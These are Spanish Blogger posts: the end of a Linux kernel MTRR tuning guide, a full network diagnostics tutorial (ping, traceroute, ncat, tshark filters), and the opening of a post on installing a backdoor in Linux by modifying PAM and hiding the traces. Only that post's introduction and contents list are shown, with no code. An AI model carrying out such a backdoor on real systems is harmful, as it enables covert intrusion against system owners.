[ 0.000000] gran_size: 64K chunk_size: 64K num_reg: 6 lose cover RAM: 0G
[ 0.000000] New variable MTRRs
[ 0.000000] reg 0, base: 0GB, range: 2GB, type WB
[ 0.000000] reg 1, base: 2GB, range: 1GB, type WB
[ 0.000000] reg 2, base: 3GB, range: 256MB, type WB
[ 0.000000] reg 3, base: 4GB, range: 2GB, type WB
[ 0.000000] reg 4, base: 6GB, range: 512MB, type WB
[ 0.000000] reg 5, base: 6656MB, range: 256MB, type WB</pre>Por último podemos comprobar como los modos y tamaños definidos por el kernel para los cinco rangos MTRR activos han cambiado:<br />
<pre class="brush: text">agd-desktop # cat /proc/mtrr
reg00: base=0x000000000 ( 0MB), size= 2048MB, count=1: write-back
reg01: base=0x080000000 ( 2048MB), size= 1024MB, count=1: write-back
reg02: base=0x0c0000000 ( 3072MB), size= 256MB, count=1: write-back
reg03: base=0x100000000 ( 4096MB), size= 2048MB, count=1: write-back
reg04: base=0x180000000 ( 6144MB), size= 512MB, count=1: write-back
reg05: base=0x1a0000000 ( 6656MB), size= 256MB, count=1: write-back</pre><br />
<span class="title1"><a name="4">4.- Optimizar el valor de MTRR cleanup spare reg num</a></span><br />
El valor por defecto para esta opción es 1, sin embargo se pueden usar otros valores para optimizar aun más la gestión de memoria. Sin embargo deberá tener cuidado ya que valores superiores a 5 suelen derivar en un funcionamiento incorrecto y el kernel arrojará errores en su arranque:<br />
<pre class="brush: text">[ 0.000000] mtrr_cleanup: can not find optimal value
[ 0.000000] please specify mtrr_gran_size/mtrr_chunk_size</pre><br />
Si desea buscar valores óptimos, la mejor opción es dejar en compilado el <i>spare reg num</i> en 1 -<i>(1) MTRR cleanup spare reg num (0-7)</i>- y cambiar estos valores durante el arranque del propio kernel a través de grub. Para ello tan solo deberá de añadir <b>mtrr_spare_reg_nr=X</b>. A continuación podrá ver un ejemplo: <br />
Sin pasar ninguna opción al kernel:<br />
<pre class="brush: text; highlight: [3]">title Gentoo Linux 3.0.6-V.0.2
root (hd0,0)
kernel /boot/kernel-3.0.6-V.0.2 root=/dev/sda2 init=/sbin/bootchartd</pre>Indicando al kernel que modifique el <i>spare reg num</i> a 2:<br />
<pre class="brush: text; highlight: [3]">title Gentoo Linux 3.0.6-V.0.2
root (hd0,0)
kernel /boot/kernel-3.0.6-V.0.2 root=/dev/sda2 init=/sbin/bootchartd mtrr_spare_reg_nr=2</pre><br />
PD: No espere que este tipo de micro-optimización <i>haga que su ordenador vuele</i>.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com9tag:blogger.com,1999:blog-507892079964167031.post-24371058350354379412011-08-10T22:44:00.001+02:002011-08-11T16:04:46.398+02:00Herramientas de diagnóstico de redEs posible que se haya encontrado en alguna situación con problemas de conexión, ya sea hacia internet o en el interior de su propia red. En este tutorial se mostrarán algunas herramientas que le serán útiles para diagnosticar problemas que puedan surgir en su red. <br />
<br />
Algunas de estas herramientas le serán muy conocidas, como por ejemplo ping o traceroute; otras puede que le resulten nuevas o que no las haya usado antes, como por ejemplo ncat y tshark.<br />
<a name='more'></a><fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">1.- Conceptos básicos</li>
</a></li>
<li><a href="#2">2.- Nociones básicas sobre TCP/IP</a></li>
<li><a href="#3">3.- ping</a></li>
<li><a href="#4">4.- traceroute</a></li>
<li><a href="#5">5.- ncat</a></li>
<li><a href="#6">6.- tcpdump, wireshark y tshark</a></li>
<ul><li class="li2snd"><a href="#6-1">6.1.- Filtrado de captura</a></li>
<li class="li2snd"><a href="#6-2">6.2.- Filtrado de lectura</a></li>
</ul></ul></fieldset><br />
<span class="title1"><a name="1">1.- Conceptos básicos</a></span><br />
<ul><li><b>Alias de IP:</b> Permite asignar múltiples direcciones IP a una interfaz de red. La interfaz usará la misma dirección física para todas las direcciones IP.</li>
<li><b>ARP:</b> Son las siglas de <i>Address Resolution Protocol (Protocolo de Resolución de Direcciones)</i>. Es el protocolo que se encarga de emparejar las direcciones IP con direcciones físicas (MAC). Para ello envía un paquete <i>ARP request</i> a la dirección de difusión (<i>broadcast</i>) de la red, con la dirección IP por lo que se pregunta, y se espera un paquete de respuesta <i>ARP reply</i> con la dirección física. Para acelerar este proceso, cada host mantiene en memoria una tabla arp que relacionada las IP conocidas con sus respectivas MACs.</li>
<li><b>Dirección IP:</b> Identificador numérico de un dispositivo dentro de una red TCP/IP.</li>
<li><b>ICMP:</b> Son las siglas de <i>Internet Control Message Protocol (Protocolo de control de Mensajes de Internet)</i>. Se usa para enviar mensajes de error o una respuesta eco informativa, como en el caso de ping o mtrace.</li>
<li><b>ISN:</b> Son las siglas de <i>Initial Sequence Number (Número Inicial de Secuencia)</i>. Los ISN son números, generados aleatoriamente, utilizados para ordenar y comparar paquetes.</li>
<li><b>MAC:</b> Son las siglas de <i>Media Access Control (Control de Acceso al Medio)</i>. Es un identificador hexadecimal que identifica de forma única a un dispositivo de red. También se le conoce como dirección física. La dirección MAC es independiente del protocolo usado.</li>
<li><b>MTU:</b> Son las siglas de <i>Maximum Transfer Unit (Unidad Máxima de Transmisión)</i>. Define el tamaño máximo de los paquetes de datos enviados a través del protocolo IP. El valor MTU para la mayoría de dispositivos de Internet es 1.472 bytes, aunque con <a href="http://en.wikipedia.org/wiki/Jumbo_Frames" >tramas jumbo</a> se puede llegar a 9.000 bytes.</li>
<li><b>Paquete SYN:</b> Paquete que se utiliza en la creación de un socket para sincronizar los ISN, <i>Initial Sequence Number (Número Inicial de Secuencia)</i>.</li>
<li><b>Paquete ACK:</b> ACK son las siglas de <i><u>ack</u>noledgement (acuse de recibo)</i>. Es un paquete de confirmación de recepción.</li>
<li><b>Paquete RST:</b> Es un paquete de anulación instantánea de la comunicación, es decir, no se precisa un paquete ACK de respuesta. En situaciones normales los paquetes RST se envían cuando no existe ningún demonio escuchando en el puerto al que intenta conectar el cliente.</li>
<li><b>TTL:</b> Son las siglas de <i>Time To Live (Tiempo de Vida)</i>. Es un valor numérico que define por cuantos nodos puede pasar un paquete antes de ser descartado. Conforme un paquete pasa por un nodo/router, se reduce en una unidad el valor de TTL. Si un nodo/router recibe un paquete con un valor TTL de 1, el router desecha el paquete. Al desechar el paquete, en función de como haya sido configurado el router, puede que envíe el mensaje <i>TTL expired in transit</i> a través del protocolo ICMP al host de origen.</li>
<li><b>Socket:</b> Conexión TCP/IP.</li>
</ul><br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB5G7KwffcmcmcmtDIyKkHoE8aJNHJK_1VnhB-NuGsFwo9uAcaRKch1Yerrh7GakQMZu9MVyVrNZwkwUWHcAucLFkgHVMr73TEFpFvJpTRfZo3AqrwHhyGIeE5WYX7E9YBZbb9ECUtwOs/s1600/Pila+TCP-IP.png" imageanchor="1" style="clear:right; float:right; margin-left:1em; margin-bottom:1em"><img border="0" height="400" width="156" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB5G7KwffcmcmcmtDIyKkHoE8aJNHJK_1VnhB-NuGsFwo9uAcaRKch1Yerrh7GakQMZu9MVyVrNZwkwUWHcAucLFkgHVMr73TEFpFvJpTRfZo3AqrwHhyGIeE5WYX7E9YBZbb9ECUtwOs/s400/Pila+TCP-IP.png" /></a></div><span class="title1"><a name="2">2.- Nociones básicas sobre TCP/IP</a></span><br />
Las direcciones IP permiten que los hosts de una red se encuentren y se comuniquen entre ellos, pero ¿cómo lo hacen? El proceso de creación de un socket, conexión TCP/IP, se produce en tres etapas: solicitud de conexión, confirmación de la conexión y la recepción de la confirmación.<br />
<br />
En la primera etapa, solicitud de la conexión, el host que quiere iniciar el socket (host emisor) envía un <b>paquete SYN</b> al host con el que quiere comunicarse (host receptor). En la segunda etapa, confirmación de la conexión, el host receptor responde con un <b>paquete ACK</b> al host emisor, para indicar que está listo para comenzar la comunicación. En la última etapa, recepción de la confirmación, el host emisor devuelve un <b>paquete ACK</b> al host receptor, para informarle que ha recibido la confirmación de conexión y que va a comenzar a enviar datos. Una vez finalizada la comunicación, el host emisor cerrará la conexión con un <b>paquete FIN</b>.<br />
<br />
<br />
<span class="title1"><a name="3">3.- ping</a></span><br />
Es la herramienta más utilizada para hacer una comprobación rápida del estado de la red. El uso, así como su interpretación es bastante sencillo, aunque ofrece multitud de opciones, algunas de las más interesantes son:<br />
<br />
<ul><li><b>-c <número></b> Permite indicar el <i><número></i> de ping que quiere realizar. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201108092139","slide"); return false">[+/-] Ver ejemplo</a>.<div id="201108092139" style="display: none;"><pre class="brush: shell">agd-desktop # ping -c4 192.168.1.1
PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_req=1 ttl=64 time=0.851 ms
64 bytes from 192.168.1.1: icmp_req=2 ttl=64 time=0.787 ms
64 bytes from 192.168.1.1: icmp_req=3 ttl=64 time=0.763 ms
64 bytes from 192.168.1.1: icmp_req=4 ttl=64 time=0.903 ms
--- 192.168.1.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 0.763/0.826/0.903/0.054 ms</pre></div></li>
<li><b>-I <dirección IP></b> En caso de que su host tenga más de una dirección IP, ya sea por que tiene varios alias IP o varias interfaces de red, le permite indicar desde que dirección se lanzarán los pings. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201108092142","slide"); return false">[+/-] Ver ejemplo</a>.<div id="201108092142" style="display: none;"><pre class="brush: shell">agd-desktop # ping -c2 -I 192.168.1.20 192.168.1.1
PING 192.168.1.1 (192.168.1.1) from 192.168.1.20 : 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_req=1 ttl=64 time=0.887 ms
64 bytes from 192.168.1.1: icmp_req=2 ttl=64 time=0.777 ms
--- 192.168.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.777/0.832/0.887/0.055 ms
agd-desktop # ping -c2 -I 192.168.1.220 192.168.1.1
PING 192.168.1.1 (192.168.1.1) from 192.168.1.220 : 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_req=1 ttl=64 time=1.63 ms
64 bytes from 192.168.1.1: icmp_req=2 ttl=64 time=0.816 ms
--- 192.168.1.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.816/1.225/1.634/0.409 ms</pre></div></li>
<li><b>-f</b> Manda tantos paquetes como permita la conexión. Le será útil para poner a prueba su servidor frente a un <i>ping flood</i>, así como para comprobar que su política de iptables, que limita la cantidad de paquetes ICMP por segundo, funciona correctamente.</li>
<li><b>-t <número></b> Permite indicar el valor TTL de los paquetes ICMP enviados.</li>
</ul><br />
Sin al lanzar un ping a un servidor de Internet no obtiene respuesta, pruebe con otros ya que algunos servidores remotos bloquean activamente el tráfico ICMP y por tanto no responden a los pings. Si ha probado con varios host, y ninguno responde al ping es probable que su red no funcione correctamente.<br />
<br />
<span class="title1"><a name="4">4.- traceroute</a></span><br />
Si puede hacer pings a los hosts de su intranet, pero no obtiene respuesta de los hosts de Internet, la herramienta <b>traceroute</b> le será de ayuda. La función de traceroute es determinar la ruta que se utiliza para llegar al destino indicado, para ello usan los mensajes <i>TTL expired in transit</i> para registrar los hosts por donde pasa.<br />
<br />
A continuación veremos un ejemplo de como el comando ping se podría usar para trazar la ruta hasta un hosts destino cualquiera, para lo cual iremos aumentando en uno el valor TTL del ping hasta alcanzar el host objetivo.<br />
<pre class="brush: shell">agd-server # ping -c1 -t1 makeinstall.es
PING makeinstall.es (216.239.32.21) 56(84) bytes of data.
From 192.168.1.1 icmp_seq=1 Time to live exceeded
--- makeinstall.es ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
agd-server # ping -c1 -t2 makeinstall.es
PING makeinstall.es (216.239.32.21) 56(84) bytes of data.
From 1.76.220.87.dynamic.jazztel.es (87.220.76.1) icmp_seq=1 Time to live exceeded
--- makeinstall.es ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
agd-server # ping -c1 -t3 makeinstall.es
PING makeinstall.es (216.239.32.21) 56(84) bytes of data.
--- makeinstall.es ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
agd-server # ...
agd-server # ...
agd-server # ...
agd-server # ping -c1 -t12 makeinstall.es
PING makeinstall.es (216.239.38.21) 56(84) bytes of data.
From 216.239.46.85 icmp_seq=1 Time to live exceeded
--- makeinstall.es ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms</pre>El comando traceroute hace exactamente la misma operación que se ha llevado a cabo anteriormente, aunque de forma automatizada mandando pings con valores TTL que van aumentando en una unidad hasta alcanzar el destino. Algunos routers están configurados para no responder a los mensajes ICMP, y por ello aparecen líneas marcadas con <i>* * *</i> en la traza de salida.<br />
<pre class="brush: shell">agd-server # traceroute makeinstall.es
traceroute to makeinstall.es (216.239.36.21), 30 hops max, 60 byte packets
1 192.168.1.1 (192.168.1.1) 0.989 ms 1.505 ms 2.335 ms
2 1.76.220.87.dynamic.jazztel.es (87.220.76.1) 58.827 ms 59.022 ms 60.741 ms
3 * * *
4 218.216.106.212.static.jazztel.es (212.106.216.218) 76.022 ms 58.217.106.212.static.jazztel.es (212.106.217.58) 79.900 ms *
5 * * *
6 * * *
7 2.217.106.212.static.jazztel.es (212.106.217.2) 43.372 ms 43.601 ms 46.106 ms
8 216.239.49.230 (216.239.49.230) 48.112 ms 216.239.49.196 (216.239.49.196) 139.451 ms 49.545 ms
9 209.85.240.28 (209.85.240.28) 69.545 ms 72.309 ms 209.85.251.200 (209.85.251.200) 81.124 ms
10 216.239.43.233 (216.239.43.233) 81.335 ms 81.624 ms 209.85.253.20 (209.85.253.20) 84.450 ms
11 209.85.249.31 (209.85.249.31) 84.076 ms 191.251 ms *
12 any-in-2415.1e100.net (216.239.36.21) 67.916 ms 64.298 ms 63.823 ms
</pre>Analizando la traza, puede determinar donde se pierden los paquetes ICMP lo cual le permitirá saber, al menos, donde se encuentra el problema. Si los paquetes ICMP se pierden en su <i>hosts firewall</i> es probable que su firewall esté bloqueando activamente el flujo de paquetes ICMP o incluso que este bloqueando la salida a Internet por completo. En este caso, deberá desactivar temporalmente el firewall y volver a realizar una traza para ver si es un problema de configuración incorrecta de iptables.<br />
<br />
<br />
<span class="title1"><a name="5">5.- ncat</a></span><br />
Esta herramienta le permite comprobar si es posible acceder a un host a través de un determinado puerto. Le será especialmente útil cuando quiera probar la conexión a un puerto determinado a través de un cortafuegos.<br />
<br />
Antes de lanzar el comando <b>ncat</b>, deberá asegurarse de cerrar cualquier demonio que este usando el puerto que quiere comprobar. En el siguiente ejemplo, vincularemos ncat al puerto 80 (el utilizado por los servidores web) por ello es imprescindible detener cualquier proceso que esté haciendo uso de dicho puerto.<br />
<br />
Si no está seguro si algún proceso está haciendo uso del puerto al que quiere enlazar ncat, puede usar la herramienta <b>netstat</b>. En el siguiente ejemplo, se determinará que demonio esta haciendo uso del puerto 80 (<i>http</i>) mediante netstat, se detendrá el proceso y por último se vinculará ncat al puerto 80 del host agd-server:<br />
<pre class="brush: shell">agd-server # netstat -lpt | egrep "80|http"
tcp 0 0 *:http *:* LISTEN 3247/lighttpd
agd-server # /etc/init.d/lighttpd stop
* Stopping lighttpd ... [ ok ]
agd-server # netstat -lpt | egrep "80|http"
agd-server # ncat -l 80</pre>A continuación, desde el host agd-desktop se intentará establecer una conexión telnet a través del puerto 80 con el host agd-server. Si se pueda establecer la conexión telnet y lo que se escriba en la conexión telnet desde agd-desktop aparece en la consola agd-server que esta corriendo el comanda ncat, significa que se puede acceder al host agd-server a través del puerto 80, o lo que es lo mismo, la configuración iptables de agd-server permite el tráfico entrante a través del puerto 80.<br />
<pre class="brush: shell">agd-desktop # telnet 192.168.1.120 80
Trying 192.168.1.120...
Connected to 192.168.1.120.
Escape character is '^]'.
Si lo que escriba aquí, al pulsar intro, aparece en la consola del host
remoto significa que se puede establecer una conexión entre ambos a través
del puerto 80. Es decir, que la configuración iptables actual permite el
tráfico entrante a través del puerto 80.</pre>A continuación veremos si en el host remoto, agd-server, aparece lo que se ha escrito en la conexión telnet abierta desde agd-desktop.<br />
<pre class="brush: shell">agd-server # ncat -l 80
Si lo que escriba aquí, al pulsar intro, aparece en la consola del host
remoto significa que se puede establecer una conexión entre ambos a través
del puerto 80. Es decir, que la configuración iptables actual permite el
tráfico entrante a través del puerto 80.</pre>Con ncat podrá poner a pruebas las reglas de su cortafuegos, para asegurarse de que los servicios que precisa no están siendo bloqueados por una configuración incorrecta de iptables. También podría usar ncat para determinar si las reglas son demasiadas permisivas, al no bloquear el tráfico a través del puerto analizado.<br />
<br />
<br />
<span class="title1"><a name="6">6.- tcpdump, wireshark y tshark</a></span><br />
Las herramientas <b>tcpdump, wireshark y tshark</b> permiten ver el tráfico de red a nivel de paquetes. El número de paquetes que atraviesan cualquier interface de red es muy elevado, por ello es imprescindible el uso de filtros. El comando tcpdump ofrece pocas posibilidades de filtrado, lo que le obligará ha hacer uso de otras herramientas para filtar los resultados, como por ejemplo grep. Wireshark, y su versión por línea de comandos tshark, ofrecen muchas posibilidades para el filtrado y análisis de paquetes. <br />
<br />
El uso de tshark es sencillo, y se resume en ejecutar <i>tshark -i <interface></i>. Si quisiera monitorizar el tráfico de paquetes de su interfaz eth0, tan solo tendría que ejecutar <i>tshark -i eth0</i>. Sin embargo, como podrá comprobar al ejecutar dicho comando la cantidad de información es inmanejable por ello es necesario filtrar el contenido; y en este punto es donde destaca tshark frente a tcpdump.<br />
<br />
<br />
<span class="title2"><a name="6-1">6.1.- Filtrado de captura</a></span><br />
La sintaxis para el filtrado hace uso de una serie de <i>expresiones de filtrado de captura</i> que pueden ser conectadas por las conjugaciones <i>and/or</i> o negadas mediante el operador <i>not</i>. Aunque no es estrictamente necesario, es recomendable usar la opción <i>-f</i> para indicar que el siguiente 'comando' es una expresión de filtrado, así como encerrar la expresión de filtrado entre comillas simples o dobles. A continuación podrá ver algunas expresiones de filtrado y sus ejemplos:<br />
<br />
<ul><li><b>src|dst host</b> Permite filtrar la captura de acuerdo a la dirección de origen (<i>src</i>) o destino (<i>dst</i>) indicada (<i>host</i>). A continuación podrá ver un ejemplo de uso, donde se monitoriza el flujo de paquetes a través de eth0 (<i>-i eth0</i>) y se establece un filtrado de captura de acuerdo al origen de los mismos.<br />
<pre class="brush: shell">root@VM # tshark -i eth0 -f "src 192.168.1.120"
Capturing on eth0
0.000000 192.168.1.120 -> 192.168.1.121 ICMP Echo (ping) request (id=0x2315, seq(be/le)=1/256, ttl=64)
0.001587 RealtekU_4f:44:3c -> RealtekU_fa:f8:02 ARP 192.168.1.120 is at 52:54:00:4f:44:3c
1.013733 192.168.1.120 -> 192.168.1.121 ICMP Echo (ping) request (id=0x2315, seq(be/le)=2/512, ttl=64)
6.023835 RealtekU_4f:44:3c -> RealtekU_fa:f8:02 ARP Who has 192.168.1.121? Tell 192.168.1.120
</pre>Si quisiera analizar el tráfico que mantiene su host con otro host, como por ejemplo con el host 192.168.1.120, podría hacerlo usando el operador <i>or</i>: <i>tshark -i eth0 -f "src 192.168.1.120 or dst 192.168.1.120"</i>.</li>
<li><b>gateway host</b> Permite filtrar aquellos paquetes que usan su host como pasarela, es decir, paquetes que sin tener origen ni destino al host, pasan a través de él.</li>
<li><b>tcp|udp port <port></b> Permite filtrar la captura de acuerdo al protocolo y puerto indicado. A continuación podrá ver un ejemplo, donde se monitoriza el tráfico tcp a través del puerto 23 (telnet).<br />
<pre class="brush: shell">root@VM # tshark -i eth0 -f "tcp port 23"
Capturing on eth0
0.000000 192.168.1.20 -> 192.168.1.121 TCP 35447 > telnet [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=1 TSV=187461340 TSER=0 WS=7
0.016197 192.168.1.121 -> 192.168.1.20 TCP telnet > 35447 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
</pre>En la primera línea se observa como 192.168.1.20 intenta establecer un socket con 192.168.1.121 a través del puerto 23 (telnet). En la segunda línea 192.168.1.121 responde a 192.168.1.20 con un <i>paquete RST</i> para abortar la conexión. Este comportamiento se debe a que 192.168.1.121 no dispone de ningún servidor telnet en ejecución.<br />
<br />
Si lo desea puede combinar las opciones de filtrado <i>[src|dst] host</i> y <i>[tcp|udp] port <port></i>, así por ejemplo podría analizar la comunicación mantenida con un host concreto a través de un determinado puerto: <i>tshark -i eth0 -f "src 192.168.1.120 and dst 192.168.1.121 and tcp port 80"</i>.</li>
<li><b>less|greater <length></b> Le permite filtrar en función del tamaño de paquete indicado; <i>less</i> para un tamaño menor igual al indicado, y <i>greater</i> para un tamaño mayor igual al indicado.</li>
</ul><br />
Una opción interesante, y que le será muy útil para la captura y posterior análisis, es <i> -w ruta/archivo-de-registro</i>. Así, por ejemplo, puede dejar tshark en ejecución capturando los paquetes que atraviesan el puerto 978 (el servidor de impresión de cups) en su host y guardar la captura en un archivo para un análisis posterior; <i>tshark -i eth0 -f "port 978" -w /tmp/tshark</i>.<br />
<br />
<br />
<span class="title2"><a name="6-2">6.2.- Filtrado de lectura</a></span><br />
El verdadero potencial de wireshark/tshark se encuentra en su capacidad para emplear filtros complejos, permitiendo incluso combinar expresiones dentro de otras expresiones. Para hacer uso de las <i>expresiones de filtrado de lectura</i> es obligatorio el uso de la opción <i>-R</i> y encerrar la expresión entre comillas simples y dobles.<br />
<br />
Note que aunque las expresiones de captura no necesitan ser indicadas expresamente ni encerradas entre comillas, las expresiones de lectura si; por ello es recomendable que tome la costumbre de siempre usar las opciones -f y -R para sus expresiones de captura y lectura, respectivamente, así como el entrecomillado de estas. A continuación veremos algunas expresiones de lectura, aunque podrá consultar una guía mas extensa en <a href="http://www.wireshark.org/docs/dfref/" >Wireshark Display Filter Reference</a>.<br />
<br />
<ul><li><b>ip.addr</b> Dirección IP de origen o destino.</li>
<li><b>ip.dst</b> Dirección ip de destino.</li>
<li><b>ip.src</b> Dirección ip de origen. A continuación verá un ejemplo de uso, donde se hará un filtrado de lectura al archivo de registro capturado anteriormente con el comando <i>tshark -i eth0 -f "port 978" -w /tmp/tshark</i>:<br />
<pre class="brush: shell">root@VM # tshark -r /tmp/tshark -R "ip.src == 192.168.1.20"
1 0.000000 192.168.1.20 -> 192.168.1.121 TCP 44403 > 978 [SYN] Seq=0 Win=14600 Len=0 MSS=1460 SACK_PERM=1 TSV=191138949 TSER=0 WS=7
</pre></li>
<li><b>ip.ttl</b> Valor TTL.</li>
<li><b>ftp.request.command</b> Filtra de acuerdo al comando enviado al servidor de FTP. A continuación podrá ver un ejemplo:<br />
<pre class="brush: shell">root@VM # tshark -i eth0 -f "port 21" -R "ftp.request.command == help"
Capturing on eth0
0.000000 192.168.1.20 -> 192.168.1.121 FTP Request: help
</pre></li>
<li><b>http.request.method</b> Filtra de acuerdo al tipo de petición al servidor web. A continuación podrá ver un ejemplo:<br />
<pre class="brush: shell">root@VM # tshark -i eth0 -f "tcp port 80" -R "http.request.method == GET"
Capturing on eth0
0.000495 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/ HTTP/1.1
0.229474 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/components/com_jcomments/tpl/default/style.css?v=12 HTTP/1.1
0.230811 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/media/system/js/mootools.js HTTP/1.1
0.230847 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/media/system/js/caption.js HTTP/1.1
0.230873 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/system/css/system.css HTTP/1.1
0.230939 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/system/css/general.css HTTP/1.1
0.232470 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/css/style.css HTTP/1.1
0.232554 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/script.js HTTP/1.1
0.263991 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/images/M_images/pdf_button.png HTTP/1.1
0.264005 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/images/M_images/printButton.png HTTP/1.1
0.264109 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/images/M_images/emailButton.png HTTP/1.1
0.283150 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Page-BgTexture.jpg HTTP/1.1
0.335413 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Sheet-s.png HTTP/1.1
0.335423 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Sheet-h.png HTTP/1.1
0.335487 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Sheet-v.png HTTP/1.1
0.335592 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Sheet-c.png HTTP/1.1
0.335596 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Header.png HTTP/1.1
0.336131 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Header.jpg HTTP/1.1
0.336564 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Post-s.png HTTP/1.1
0.336580 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Post-h.png HTTP/1.1
0.337258 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Post-v.png HTTP/1.1
0.337263 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Post-c.png HTTP/1.1
0.414583 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/components/com_jcomments/tpl/default/images/jc_blog.gif HTTP/1.1
0.450343 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Block-s.png HTTP/1.1
0.450363 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Block-h.png HTTP/1.1
0.450367 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Block-v.png HTTP/1.1
0.450371 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Block-c.png HTTP/1.1
0.450379 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/BlockHeader.png HTTP/1.1
0.450399 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/BlockContent-s.png HTTP/1.1
0.450950 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/BlockContent-h.png HTTP/1.1
0.450954 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/BlockContent-v.png HTTP/1.1
0.451560 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/BlockContent-c.png HTTP/1.1
0.775194 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/livemarks.png HTTP/1.1
0.775206 192.168.1.20 -> 192.168.1.121 HTTP GET /blog/joomla/templates/ink_kidsland/images/Footer.png HTTP/1.1
0.873157 192.168.1.20 -> 192.168.1.121 HTTP GET /favicon.ico HTTP/1.1
</pre></li>
</ul><br />
Si esta interesado en dominar esta herramienta, deberá de leer al menos la <a href="http://www.wireshark.org/docs/wsug_html_chunked/" >Wireshark User's Guide</a> y por supuesto tener siempre a mano la <a href="http://www.wireshark.org/docs/dfref/" >Wireshark Display Filter Reference</a>.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com5tag:blogger.com,1999:blog-507892079964167031.post-24303331424378231682011-07-13T12:26:00.002+02:002011-11-02T20:04:17.294+01:00Instalar una puerta trasera en un sistema LinuxBásicamente existen dos líneas de acción para comprometer un sistema Linux. Usar un <a href="http://es.wikipedia.org/wiki/Ataque_de_d%C3%ADa_cero">ataque de día-cero</a> (<i>0-day</i>) o modificar un binario del sistema para instalar una puerta trasera (<i>backdoor</i>). Normalmente los ataques <i>0-day</i> de un cracker suelen ir seguidos de la instalación de una puerta trasera. <br />
<br />
En esta entrada se verán algunos métodos para comprometer un sistema Linux mediante la instalación de una puerta trasera o <i>backdoor</i>.<br />
<a name='more'></a> <fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">1.- Antecedentes</a></li>
<li><a href="#2">2.- Bits de permisos especiales</a></li>
<li><a href="#3">3.- Instalar una puerta trasera en PAM</a></li>
<li class="li2snd"><a href="#3-1">3.1.- Descargar las fuentes de PAM</a></li>
<li class="li2snd"><a href="#3-2">3.2.- Modificar el código fuente</a></li>
<li class="li2snd"><a href="#3-3">3.3.- Reemplazar la biblioteca pam_unix.so del sistema</a></li>
<li class="li2snd"><a href="#3-4">3.4.- Ocultando el rastro</li>
</a></ul></fieldset><br />
<a name="1"><b>1.- Antecedentes</b></a><br />
Ningún sistema está exento de ser comprometido, y existen multitud de antecedentes. En el mundo Linux uno de los más destacado fue el intento de instalar una puerta trasera en el kernel Linux en noviembre de 2003.<br />
<br />
